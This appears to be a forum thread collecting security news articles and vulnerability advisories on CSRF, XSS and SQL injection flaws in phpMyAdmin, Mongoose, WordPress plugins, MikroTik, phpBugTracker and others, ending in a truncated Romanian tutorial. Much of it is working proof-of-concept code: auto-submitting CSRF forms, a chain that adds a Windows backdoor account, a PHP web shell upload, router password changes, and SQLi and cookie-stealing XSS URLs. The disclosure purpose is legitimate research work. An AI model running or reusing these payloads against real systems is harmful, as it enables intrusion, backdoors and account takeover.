Search the Community

A critical security vulnerability has been reported in phpMyAdmin—one of the most popular applications for managing the MySQL database—which could allow remote attackers to perform dangerous database operations just by tricking administrators into clicking a link. Discovered by an Indian security researcher, Ashutosh Barot, the vulnerability is a cross-site request forgery (CSRF) attack and affects phpMyAdmin versions 4.7.x (prior to 4.7.7). Cross-site request forgery vulnerability, also known as XSRF, is an attack wherein an attacker tricks an authenticated user into executing an unwanted action. According to an advisory released by phpMyAdmin, "by deceiving a user to click on a crafted URL, it is possible to perform harmful database operations such as deleting records, dropping/truncating tables, etc." phpMyAdmin is a free and open source administration tool for MySQL and MariaDB and is widely used to manage the database for websites created with WordPress, Joomla, and many other content management platforms. Moreover, a lot of hosting providers use phpMyAdmin to offer their customers a convenient way to organize their databases. Barot has also released a video, as shown above, demonstrating how a remote attacker can make database admins unknowingly delete (DROP) an entire table from the database just by tricking them into clicking a specially crafted link. However, performing this attack is not simple as it may sound. To prepare a CSRF attack URL, the attacker should be aware of the name of targeted database and table. Barot reported the vulnerability to phpMyAdmin developers, who confirmed his finding and released phpMyAdmin 4.7.7 to address this issue. So administrators are highly recommended to update their installations as soon as possible. Source: thehackernews.com

CVE-2017-11567 Mongoose Web Server v6.5 CSRF Command Execution ( apparitionsec @ gmail / hyp3rlinx ) [+] Credits: John Page AKA hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MONGOOSE-WEB-SERVER-v6.5-CSRF-COMMAND-EXECUTION.txt [+] ISR: apparitionSec Vendor: =============== www.cesanta.com Product: ================== Mongoose Web Server (Free Edition) Mongoose-free-6.5.exe Download: https://cesanta.com/binary.html Mongoose - GitHub's most popular embedded web server and multi-protocol networking library Mongoose Embedded Web Server Library - Mongoose is more than an embedded webserver. It is a multi-protocol embedded networking library with functions including TCP, HTTP client and server, WebSocket client and server, MQTT client and broker and much more. Vulnerability Type: =================== CSRF - Command Execution CVE Reference: ============== CVE-2017-11567 Security Issue: ================ Remote attackers who can lure a Mongoose web server user into clicking a malicious link or visit attacker controlled web page can execute system commands on the system hosting Mongoose server. However, IF Mongoose web server is installed as service then executing programs e.g. "calc.exe" may at times crash or fail to appear, but you may see it in Windows taskmgr.exe. Therefore, from my tests commands may become unstable when Mongoose is run as a service. When Mongoose is run standard mode attackers can potentially modify "Mongoose.conf" and create arbitrary files on server like .PHP etc. to point Mongoose to this as its new "index" file. Then you need to tell Mongoose its "access_log_file" is the new attacker generated file, after injecting commands into Mongoose web servers log file that will get excuted when log file is later requested. This vulnerability requires CGI interpreter to be already set or some information about the target is known like the CGI path and language "pl,php,cgi" used, so when we can set to use correct programming language when file is created during initial CRSF attack. Note: If running commands with arguments, we have to use "\t" tab chars as using space will break our TELNET based code injection to the server log. e.g. GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1 OR just TELNET to Mongoose web server, inject arbitrary commands, then call exec by making another TELNET HTTP GET. After Command Injection "Mongoose.conf" will be: # Mongoose web server configuration file. # For detailed description of every option, visit # https://github.com/cesanta/Mongoose # Lines starting with '#' and empty lines are ignored. # To make a change, remove leading '#', modify option's value, # save this file and then restart Mongoose. # access_control_list access_log_file C:\Mongoose.access.php <======= BOOM # auth_domain mydomain.com cgi_interpreter c:\xampp\php\php.exe <====== MUST BE SET # cgi_pattern **.cgi$|**.pl$|**.php$ # dav_auth_file # dav_root # debug 0 document_root C:\ # enable_directory_listing yes # error_log_file # extra_headers # extra_mime_types # global_auth_file # hide_files_patterns # hexdump_file index_files Mongoose.access.php <======== BOOM # listening_port 8080 # run_as_user # ssi_pattern **.shtml$|**.shtm$ # ssl_certificate # ssl_ca_certificate # start_browser yes # url_rewrites Mongoose log file Command Inject to create backdoor. ----------------------------------------------------------- 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 - 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 - 2017-07-24 03:12:30 - 127.0.0.1 - GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> 400 0 - 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 - 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_settings 200 4294967295 http://127.0.0.1:8080/__mg_admin 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_cfg_file_status 200 4294967295 http://127.0.0.1:8080/__mg_admin 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /favicon.ico 404 0 - Tested Windows 7. Exploit/POC: ============= 1) add backdoor account POC. <form action="http://127.0.0.1:8080/__mg_admin?save"; method="post"> <input type="hidden" name="access_log_file" value="Mongoose.access.php"> <input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.php"> <input type="hidden" name="index_files" value="Mongoose.access.php"> <input type="hidden" name="cgi_interpreter" value="c:\xampp\php\php.exe"> <script>document.forms[0].submit()</script> </form> 2) TELNET x.x.x.x 8080 GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1 Enter Enter TELNET x.x.x.x 8080 GET / HTTP/1.1 Enter Enter Done, backdoor added! ==================== 1) run calc.exe POC. <form action="http://127.0.0.1:8080/__mg_admin?save"; method="post"> <input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.exe"> <input type="hidden" name="index_files" value="../../../../../../Windows/system32/calc.exe"> <input type="hidden" name="cgi_interpreter" value="../../../../../../Windows/system32/calc.exe"> <script>document.forms[0].submit()</script> </form> 2) TELNET x.x.x.x 8080 GET / HTTP/1.1 Enter Enter Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ================================= Vendor Notification: July 23, 2017 Vendor Notification: July 28, 2017 Vendor Acknowledgement: July 31, 2017 Vendor Fixed released version 6.9 : September 4, 2017 September 4, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx Source: http://seclists.org/bugtraq/2017/Sep/4

================================================================ CSRF/Stored XSS Vulnerability in Ad Buttons Plugin ================================================================ . contents:: Table Of Content Overview ======== * Title :CSRF and Stored XSS Vulnerability in Ad Buttons Wordpress Plugin * Author: Kaustubh G. Padwad * Plugin Homepage: https://wordpress.org/plugins/ad-buttons/ * Severity: HIGH * Version Affected: Version 2.3.1 and mostly prior to it * Version Tested : Version 2.3.1 * version patched: Description =========== Vulnerable Parameter -------------------- * Your Ad Here' url About Vulnerability ------------------- This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin's browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc. Vulnerability Class =================== Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29) Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) Steps to Reproduce: (POC) ========================= After installing the plugin 1. Goto Dashboard --> Ad button --> Setting 2. Insert this payload ## ">><script>+-+-1-+-+alert(document.cookie)</script> ## Into above mention Vulnerable parameter Save settings and see XSS in action 3. Visit Ad Button settings page of this plugin anytime later and you can see the script executing as it is stored. Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below CSRF POC Code ============= <html> <body> <form action="http://127.0.0.1/wp/wp-admin/admin.php?page=ad-buttons-settings" method="POST"> <input type="hidden" name="ab_dspcnt" value="1" /> <input type="hidden" name="ab_title" value="" /> <input type="hidden" name="ab_target" value="bnk" /> <input type="hidden" name="ab_powered" value="1" /> <input type="hidden" name="ab_count" value="1" /> <input type="hidden" name="ab_yaht" value="pag" /> <input type="hidden" name="ab_yourad" value="44" /> <input type="hidden" name="ab_yahurl" value="">><script>+-+-1-+-+alert(6)</script>" /> <input type="hidden" name="ab_adsense_fixed" value="1" /> <input type="hidden" name="ab_adsense_pos" value="1" /> <input type="hidden" name="ab_adsense_pubid" value="pub-" /> <input type="hidden" name="ab_adsense_channel" value="" /> <input type="hidden" name="ab_adsense_corners" value="rc:0" /> <input type="hidden" name="ab_adsense_col_border" value="#" /> <input type="hidden" name="ab_adsense_col_title" value="#" /> <input type="hidden" name="ab_adsense_col_bg" value="#" /> <input type="hidden" name="ab_adsense_col_txt" value="#" /> <input type="hidden" name="ab_adsense_col_url" value="#" /> <input type="hidden" name="ab_width" value="<img" /> <input type="hidden" name="ab_padding" value="<img" /> <input type="hidden" name="Submit" value="Save Changes" /> <input type="submit" value="Submit request" /> </form> </body> </html> Mitigation ========== Plugin Closed Change Log ========== Plugin Closed Disclosure ========== 18-April-2015 Reported to Developer Plugin Closed 8-May-2015 Public credits ======= * Kaustubh Padwad * Information Security Researcher * kingkaustubh (at) me (dot) com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad Source

# Exploit Title: Multiple Persistent XSS & CSRF & File Upload on Ultimate Product Catalogue 3.1.2 # Google Dork: inurl:"SingleProduct" intext:"Back to catalogue" intext:"Category", inurl:"/wp-content/plugins/ultimate-product-catalogue/product-sheets/" # Date: 22/04/2015 # Exploit Author: Felipe Molina de la Torre (@felmoltor) # Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/ # Software Link: https://downloads.wordpress.org/plugin/ultimate-product-catalogue.3.1.2.zip # Version: <= 3.1.2, Comunicated and Fixed by the Vendor in 3.1.5 # Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache 2.4.0 (Ubuntu) # CVE : N/A # Category: webapps 1. Summary: Ultimate Product Catalogue is a responsive and easily customizable plugin for all your product catalogue needs. It has +63.000 downloads, +4.000 active installations. Product Name and Description and File Upload formulary of plugin Ultimate Product Catalog lacks of proper CSRF protection and proper filtering. Allowing an attacker to alter a product pressented to a customer or the wordpress administrators and insert XSS in his product name and description. It also allows an attacker to upload a php script though a CSRF due to a lack of file type filtering when uploading it. 2. Vulnerability timeline: - 22/04/2015: Identified in version 3.1.2 - 22/04/2015: Comunicated to developer company etoilewebdesign.com - 22/04/2015: Response from etoilewebdesign.com and fixed two SQLi in 3.1.3 but not these vulnerabilities. - 28/04/2015: Fixed version in 3.1.5 without notifying me. 3. Vulnerable code: In file html/ProductPage multiple lines. 3. Proof of concept: https://www.youtube.com/watch?v=roB_ken6U4o ---------------------------------------------------------------------------------------------- ------------- CSRF & XSS in Product Description and Name ----------- ---------------------------------------------------------------------------------------------- <iframe width=0 height=0 style="display:none" name="csrf-frame"></iframe> <form method='POST' action='http:// <web>/wp-admin/admin.php?page=UPCP-options&Action=UPCP_EditProduct&Update_Item=Product&Item_ID=16' target="csrf-frame" id="csrf-form"> <input type='hidden' name='action' value='Edit_Product'> <input type='hidden' name='_wp_http_referer' value='/wp-admin/admin.php?page=UPCP-options&Action=UPCP_EditProduct&Update_Item=Product&Item_ID=16'/> <input type='hidden' name='Item_Name' value="Product name</a><script>alert('Product Name says: '+document.cookie)</script><a>"/> <input type='hidden' name='Item_Slug' value='asdf'/> <input type='hidden' name='Item_ID' value='16'/> <input type='hidden' name='Item_Image' value=' http://i.imgur.com/6cWKujq.gif'> <input type='hidden' name='Item_Price' value='666'> <input type='hidden' name='Item_Description' value="Product description says<script>alert('Product description says: '+document.cookie)</script>"/> <input type='hidden' name='Item_SEO_Description' value='seo desc'> <input type='hidden' name='Item_Link' value=''> <input type='hidden' name='Item_Display_Status' value='Show'> <input type='hidden' name='Category_ID' value=''> <input type='hidden' name='SubCategory_ID' value=''> <input style="display:none" type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script> ---------------------------------------------------------------------------------------------- -------- CSRF & File Upload in Product Description and Name ------ ---------------------------------------------------------------------------------------------- <html> <body onload="submitRequest();"> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://<web>/wp-admin/admin.php?page=UPCP-options&Action=UPCP_AddProductSpreadsheet&DisplayPage=Product", true); xhr.setRequestHeader("Host", "<web>"); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); xhr.setRequestHeader("Cache-Control", "max-age=0"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8,es;q=0.6"); xhr.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.37 Safari/537.36"); xhr.setRequestHeader("Accept-Encoding", "gzip, deflate"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarylPTZvbxAcw0q01W3"); var body = "------WebKitFormBoundarylPTZvbxAcw0q01W3\r\n" + "Content-Disposition: form-data; name=\"Products_Spreadsheet\"; filename=\"cooldog.php\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "<?php\r\n" + "exec($_GET['c'],$output);\r\n" + "foreach ($output as $line) {\r\n" + "echo \"<br/>\".$line;\r\n" + "}\r\n" + "?>\r\n" + "------WebKitFormBoundarylPTZvbxAcw0q01W3\r\n" + "Content-Disposition: form-data; name='submit'\r\n" + "\r\n" + "Add New Products\r\n" + "------WebKitFormBoundarylPTZvbxAcw0q01W3--\r\n" ; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input style="display:none;" type="submit" value="Up!" onclick="submitRequest();" /> </form> </body> </html> Te file cooldog.php is no available in path http:// <web>/wp-content/plugins/ultimate-product-catalogue/product-sheets/cooldog.php Source

Nu am stat sa fac poza am sa postez doar raspunsul lor. Pm cine vrea sa stie unde era si alte detalii. 2x XSS si CSRF. Foarte de treaba baietii ( si fetele ) au raspuns rapid si in vreo 30 min era totul fixat.

# Affected software: subrion # Type of vulnerability: csrf to sql injection # URL: http://demo.subrion.org # Discovered by: Provensec # Website: http://www.provensec.com #version v3.3.0 # Proof of concept no csrf protection on database form which made subrion to vulnerable to database injection vuln parameter query poc: <html> <body> <form action="http://demo.subrion.org/admin/database/" method="POST"> <input type="hidden" name="query" value="SELECT * FROM `sbr301_albums` `id` " /> <input type="hidden" name="table" value="sbr301_albums" /> <input type="hidden" name="field" value="id" /> <input type="hidden" name="exec_query" value="Go" /> <input type="submit" value="Submit request" /> </form> </body> </html> Source

# Affected software: Mambo # Type of vulnerability: csrf to sql injection # URL: http://source.mambo-foundation.org/ # Discovered by: Provensec # Website: http://www.provensec.com #version 4.6.5 # Proof of concept no csrf token were used on sql query form so attacker can leverage csrf to execute sql query on admin end screenshot http://prntscr.com/6gk265 POST /mambo/administrator/index2.php HTTP/1.1 Host: demo.opensourcecms.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://demo.opensourcecms.com/mambo/administrator/index2.php Cookie: __utma=87180614.347131305.1423813196.1426315580.1426317582.5; __utmz=87180614.1424330089.2.2.utmcsr=4homepages.de|utmccn=(referral)|utmcmd=referral|utmcct=/demo/; __gads=ID=e4fef836c4eca064:T=1424329959:S=ALNI_MZOrjDhCaPQBQcowebgQWskHX12kQ; __utmc=87180614; 5503d94d48147_SESSION=ben7euhc7r3j578q73sbnn9oq4; __utmb=87180614.1.10.1426317586; __utmt=1; 25fee453fc1b1d324265b9cb23363e2c=san1g4th13mhokc4g5tk3muaa3; mostlyce[startup_key]=f1df635c5e35c15a244c554e356ad0e3; mostlyce[usertype]=Super+Administrator; webfxtab_modules-cpanel=4 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 47 sql=select&option=com_mostlydbadmin&task=xquery vulnerable paramter sql poc <html> <body> <form action=" http://demo.opensourcecms.com/mambo/administrator/index2.php" method="POST"> <input type="hidden" name="sql" value="sql statement to execute " /> <input type="hidden" name="option" value="com_mostlydbadmin" /> <input type="hidden" name="task" value="xquery" /> <input type="submit" value="Submit request" /> </form> </body> </html> Source

A critical vulnerability has been discovered in the most popular plugin of the WordPress content management platform (CMS) that puts tens of Millions of websites at risks of being hacked by the attackers. The vulnerability actually resides in most versions of a WordPress plugin known as ‘WordPress SEO by Yoast,’ which has more than 14 Million downloads according to Yoast website, making it one of the most popular plugins of WordPress for easily optimizing websites for search engines i.e Search engine optimization (SEO). The vulnerability in WordPress SEO by Yoast has been discovered by Ryan Dewhurst, developer of the WordPress vulnerability scanner ‘WPScan’. All the versions prior to 1.7.3.3 of ‘WordPress SEO by Yoast’ are vulnerable to Blind SQL Injection web application flaw, according to an advisory published today. SQL injection (SQLi) vulnerabilities are ranked as critical one because it could cause a database breach and lead to confidential information leakage. Basically in SQLi attack, an attacker inserts a malformed SQL query into an application via client-side input. HOW YOAST VULNERABILITY WORKS However, in this scenario, an outside hacker can’t trigger this vulnerability itself because the flaw actually resides in the 'admin/class-bulk-editor-list-table.php' file, which is authorized to be accessed by WordPress Admin, Editor or Author privileged users only. Therefore, in order to successfully exploit this vulnerability, it is required to trigger the exploit from authorized users only. This can be achieved with the help of social engineering, where an attacker can trick authorized user to click on a specially crafted payload exploitable URL. If the authorized WordPress user falls victim to the attack, this could allow the exploit to execute arbitrary SQL queries on the victim WordPress web site, Ryan explained to security blogger Graham Cluley. Ryan also released a proof-of-concept payload of Blind SQL Injection vulnerability in ‘WordPress SEO by Yoast’, which is as follows: http://victim-wordpress-website.com/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc PATCH FOR YOAST SQLi VULNERABILITY However, the vulnerability has reportedly been patched in the latest version of WordPress SEO by Yoast (1.7.4) by Yoast WordPress plugin developers, and change log mentions that latest version has "fixed possible CSRF and blind SQL injection vulnerabilities in bulk editor." Generally, it has been believed that if you have not installed WordPress Yoast for SEO, then your WordPress website is seriously incomplete. The vulnerability is really serious for website owners who wish to increase their search engine traffic by using this plugin. Therefore, WordPress administrators with disabled Auto-update feature are recommended to upgrade their WordPress SEO by Yoast plugin as soon as possible or they can manually download the latest version from WordPress plugin repository. If you have installed WordPress 3.7 version and above, then you can enable fully automate updating of your plugins and themes from Manage > Plugins & Themes > Auto Updates tab.

MikroTik RouterOS < v5.0 Admin Password Change CSRF Vulnerability by @SymbianSyMoh</b></h1></br> <input type="submit" value="Do it" onclick="var btn=document.createElement('IFRAME');btn.src=' [url]http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok';btn.width='0';btn.height='0';btn.id='myIframe';document.body.appendChild(btn);alert('Pwned[/url]') <http://s.bl-1.com/h/mPQQyg5?url=http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok%27;btn.width=%270%27;btn.height=%270%27;btn.id=%27myIframe%27;document.body.appendChild(btn);alert(%27Pwned%27)> ;"></br> </body> </html> Video PoC: [url]http://youtu.be/FHrvHJeLjLA[/url] <http://s.bl-1.com/h/mPQQ237?url=http://youtu.be/FHrvHJeLjLA> -- *Best Regards**,**,* *Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist & Bug Bounty Hunter. LinkedIn <http://s.bl-1.com/h/mPQQ6S9?url=https://www.linkedin.com/in/symbiansymoh>Curriculum Vitae <http://s.bl-1.com/h/mPQQCrC?url=http://goo.gl/cNrVpL> <http://s.bl-1.com/h/mPQQHFF?url=https://www.linkedin.com/in/symbiansymoh> Facebook <http://s.bl-1.com/h/mPQQNfH?url=https://fb.com/symbiansymoh>Twitter <http://s.bl-1.com/h/mPQQS2K?url=https://twitter.com/symbiansymoh> Source

Advisory: Multiple SQLi, stored/reflecting XSS- and CSRF-vulnerabilities in phpBugTracker v.1.6.0 Advisory ID: SROEADV-2015-16 Author: Steffen Rösemann Affected Software: phpBugTracker v.1.6.0 Vendor URL: https://github.com/a-v-k/phpBugTracker Vendor Status: patched CVE-ID: will asked to be assigned after release on FullDisclosure via OSS-list Tested on: OS X 10.10 with Firefox 35.0.1 ; Kali Linux 3.18, Iceweasel 31 ========================== Vulnerability Description: ========================== The Issuetracker phpBugTracker v. 1.6.0 suffers from multiple SQLi-, stored/reflected XSS- and CSRF-vulnerabilities. ================== Technical Details: ================== The following files used in a common phpBugTracker installation suffer from different SQLi-, stored/reflected XSS- and CSRF-vulnerabilities: =========== project.php =========== SQL injection / underlaying CSRF vulnerability in project.php via id parameter: http:// {TARGET}/admin/project.php?op=edit_component&id=1%27+and+1=2+union+select+1,2,database%28%29,user%28%29,5,6,version%28%29,8,9,10,11,12+--+ Stored XSS via input field "project name": http://{TARGET}/admin/project.php?op=add executed in: e.g. http://{TARGET}/admin/project.php, http:// {TARGET}/index.php ======== user.php ======== Reflecting XSS in user.php via use_js parameter: http:// {TARGET}/admin/user.php?op=edit&use_js=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&user_id=1 executed in: same page ========= group.php ========= Reflecting XSS in group.php via use_js parameter: http:// {TARGET}/admin/group.php?op=edit&use_js=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&group_id=1 executed in: same page (Blind) SQL Injection / underlaying CSRF vulnerability in group.php via group_id parameter (used in different operations): http:// {TARGET}/admin/group.php?op=edit&use_js=1&group_id=1+and+SLEEP%2810%29+--+ http:// {TARGET}/admin/group.php?op=edit-role&use_js=1&group_id=8+and+substring%28version%28%29,1,1%29=5+--+ ========== status.php ========== SQL injection / underlaying CSRF vulnerability in status.php via status_id parameter: http:// {TARGET}/admin/status.php?op=edit&status_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29,5+--+ Stored XSS via input field "Description": http://{TARGET}/admin/status.php?op=edit&use_js=1&status_id=0 executed in: e.g. http://{TARGET}/admin/status.php CSRF vulnerability in status.php (delete statuses): <img src="http://{TARGET}/admin/status.php?op=del&status_id={NUMERIC_STATUS_ID}" ============== resolution.php ============== SQL injection / underlaying CSRF vulnerability in resolution.php via resolution_id parameter: http:// {TARGET}/admin/resolution.php?op=edit&resolution_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29+--+ CSRF vulnerability in resolution.php (delete resolutions): <img src="http://{TARGET}/admin/resolution.php?op=del&resolution_id={NUMERIC_RESOLUTION_ID}" ============ severity.php ============ SQL injection / underlaying CSRF vulnerability in severity.php via severity_id parameter: http:// {TARGET}/admin/severity.php?op=edit&severity_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29,5+--+ CSRF vulnerability in severity.php (delete severities): <img src="http://{TARGET}/admin/severity.php?op=del&severity_id={NUMERIC_SEVERITY_ID}" Stored XSS in severity.php via input field "Description": http://{TARGET}/admin/severity.php?op=edit&use_js=1&severity_id=0 executed in: e.g. http://{TARGET}/admin/severity.php ============ priority.php ============ SQL injection / underlaying CSRF vulnerability in priority.php via priority_id parameter: http:// {TARGET}/admin/priority.php?op=edit&priority_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,4,version%28%29+--+ ====== os.php ====== SQL Injection / underlaying CSRF vulnerability in os.php via os_id parameter: http:// {TARGET}/admin/os.php?op=edit&os_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29+--+ CSRF vulnerability in os.php (delete operating systems): <img src="http://{TARGET}/admin/os.php?op=del&os_id={NUMERIC_OS_ID}" > Stored XSS vulnerability in os.php via input field "Regex": http://{TARGET}/admin/os.php?op=edit&use_js=1&os_id=0 executed in: e.g. http://{TARGET}/admin/os.php? ============ database.php ============ SQL injection / underlaying CSRF vulnerability in database.php via database_id: http:// {TARGET}/admin/database.php?op=edit&database_id=1%27+and+1=2+union+select+1,user%28%29,version%28%29+--+ CSRF vulnerability in database.php (delete databases): <img src="http://{TARGET}/admin/database.php?op=del&database_id={NUMERIC_DATABASE_ID}" Stored XSS vulnerability in database.php via input field "Name": http://{TARGET}/admin/database.php?op=edit&use_js=1&database_id=0 ======== site.php ======== CSRF vulnerability in site.php (delete sites): <img src="http://{TARGET}/admin/site.php?op=del&site_id={NUMERIC_SITE_ID}" > SQL injection / underlaying CSRF vulnerability in site.php via site_id parameter: http:// {TARGET}/admin/site.php?op=edit&site_id=5%27+and+1=2+union+select+1,version%28%29,database%28%29+--+ ======= bug.php ======= This issue has already been assigned CVE-2004-1519, but seems to have not been corrected since the assignment: SQL injection / underlaying CSRF vulnerability in bug.php via project parameter: http:// {TARGET}/bug.php?op=add&project=1%27+and+1=2+union+select+user%28%29+--+ For details see http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1519. ========= Solution: ========= Update to version 1.7.0. ==================== Disclosure Timeline: ==================== 03/05-Feb-2015 – found the vulnerabilities 05-Feb-2015 - informed the developers (see [3]) 05-Feb-2015 – release date of this security advisory [without technical details] 05-Feb-2015 - forked the Github repository, to keep it available for other security researchers (see [4]) 05/06-Feb-2015 - vendor replied, will provide a patch for the vulnerabilities 09-Feb-2015 - vendor provided a patch (version 1.7.0, see [3]); technical details will be released on 19th February 2015 19-Feb-2015 - release date of this security advisory 19-Feb-2015 - send to FullDisclosure ======== Credits: ======== Vulnerabilities found and advisory written by Steffen Rösemann. =========== References: =========== [1] https://github.com/a-v-k/phpBugTracker [2] http://sroesemann.blogspot.de/2015/02/sroeadv-2015-16.html [3] https://github.com/a-v-k/phpBugTracker/issues/4 [4] https://github.com/sroesemann/phpBugTracker Source

In cele ce urmeaza se incearca sa se demonstreze pericolul real care il reprezinta Cross-Site Scripting (XSS) combinat cu Cross-Site Request Forgery (CSRF). S-a creat un site imaginar ca exemplu, al unei banci si s-a demonstrat ca o singura vulnerabilitate XSS si o operatiune de transfer de bani in site-ul banci se poate transforma intr-o pierdere de bani doar vizitand alt site. In exemplul oferit, site-ul bancii nu este "over SSL" dar oricum SSL nu ar preveni acest atac sub nici o forma. Site-ul capcana din exemplul nostru este in intregime controlat de atacator, dar de fapt el poate fi un anunt Flash dintr-un site trusted, aplicatii Facebook / Myspace / LinkedIn sau alte forme de deghizare (mashups) ce ruleaza cod untrusted, sau chiar cod malitios rulind in alt site de incredere cum ar fi un forum sau bulletin board. In exemplul de mai jos, utilizatorul viziteaza site-ul bancii si pe cel al atacatorului in doua tab-uri ale browser-ului concomitent. De fapt, victima este expusa pe intreaga durata a sesiunii pe server. Asta inseamna ca daca un user isi inchide ferestrele browser-ului si de fapt nu face logout din aplicatia bancara, ramane vulnerabil pentru o perioada de timp de obicei cam intre 15 si 30 de minute. http://www.securitycompass.com/videos/xss%20steal.swf La inceput atacul poate parea exagerat din cauza tuturor factorilor ce trebuie sa intre in joc: O victima trebuie sa viziteze un site anume si care sa fie vulnerabil. Victima trebuie apoi sa viziteze un alt site, de data asta unul capcana si care sa stie sa atace site-ul de la pasul 1, in timp ce victima are cate o sesiune valida deschisa. Cum devine acest atac mai putin exagerat in prezent? Un studiu de caz al Web Application Security Consortium (WASC) arata ca aproape 60% din site-uri sunt vulnerabile la XSS. Abilitatea de a descoperi XSS nu a fost niciodata una simpla iar site-urile de public disclosure cum ar fi xssed.com fac din descoperirea vulnerabilitatilor specifice ceva banal. S-a observat ca atacurile reale sunt executate prin intermediul site-urile de retele de socializare si anunturi flash. Acesti vectori de atac permit utilizatorilor rau intentionati sa aiba ca tinte mii de victime in mod concurent – oferind destule victime potentiale, iar sansele ca cel putin cateva dintre ele sa aiba o sesiune valabila pe un site vulnerabil anume devine mai mare. Chiar dac? demo-ul arat? un atac pe o anumita banca, un atacator poate incerca sa atace mai multe site-uri din acelasi JavaScript malitios. Cu alte cuvinte, un fraudator XSS poate incerca cel putin teoretic sa livreze malware pentru mai multe site-uri vulnerabile diferite la mii de victime într-o perioad? foarte scurt? de timp. Ceea ce face deosebit de devastator acest atac este faptul ca victima nu va fi capabila sa anuleze transferul de bani. In jurnalele de tranzactii ale bancii, va apare ca utilizatorul a intentionat si a consimtit sa transfere sumele. Toate tranzactiile au la origine adresa IP a victimei si au fost trimise cu cookie-urile victimei. Doar analiza comportamentala ne dezvaluie ca de fapt povestea e alta - ex.: observarea vitezei anormale a seriei de request-uri sau faptul ca mai multi platitori au transferat bani catre aceeasi persoana intr-un interval scurt de timp - si ca de fapt este vorba despre o frauda. Detaliile tehnice ale atacului Utilizatorul viziteaza http://localhost:3000 (False Secure Bank) In timpul unei sesiuni valide in False Secure Bank, user-ul viziteaza apoi http://127.0.0.1/CSRF_Example (Site-ul atacatorului) In site-ul atacatorului, am adaugat un 0 iFrame cu dimensiuni 0X0, facand astfel continutul iFrame-ului invizibil pentru end user. In iFrame am introdus cod HTML incluzand un form cu valori pre-populate si script-uri ce fac trimiteri in mod automat form-ului din partea user-ului: <form name="input" action="http://localhost:3000/send_payment" method="post"> <input type="text" name="pay[payee]" value="<script src="http://127.0.0.1/CSRF_Example/bankattack.js" type="text/javascript"></script>"> <input type="text" name="amount" value="0"/> <input type="text" name="commit" value="Pay"/> </form> <script>document.input.submit();</script> Observati ca rubrica (campul) plata [persoana platita] este de fapt codul pentru payload-ul Cross Site Scripting. Acesta corespunde vulnerabilitatii XSS descoperita mai devreme in site-ul False Secure Bank. In acest caz, script-ul actual duce catre sursa aflata la 